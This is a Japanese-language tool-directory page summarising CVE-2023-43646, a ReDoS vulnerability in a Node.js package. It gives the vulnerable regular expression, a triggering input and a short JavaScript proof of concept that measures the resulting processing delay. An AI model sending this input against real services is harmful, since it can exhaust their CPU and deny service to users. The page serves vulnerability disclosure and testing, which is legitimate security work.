Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/200101whoami/cve-2023-43646
脆弱性スキャナー脆弱性分析コード分析論文と研究学習と教育
GitHub200101whoami/cve-2023-43646

CVE-2023-43646

redos

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-43646

脆弱性概要

  • CVE-2023-43646

  • CVSS : 8.6

  • Sep 26, 2023

  • node.jsパッケージにおけるReDoS

  • rebobプロジェクトの一環

脆弱性説明

github advisories

root@kitploit:~
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/

この脆弱性は、括弧に不均衡がある場合に悪用される可能性があり、過度のバックトラッキングを引き起こし、その結果CPU負荷と処理時間が大幅に増加します。この脆弱性は、以下の入力を使用してトリガーできます:

root@kitploit:~
'\t'.repeat(54773) + '\t/function/i'

問題を示す簡単なPoCコードは次のとおりです:

root@kitploit:~
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

対象パッケージ

ツールをダウンロード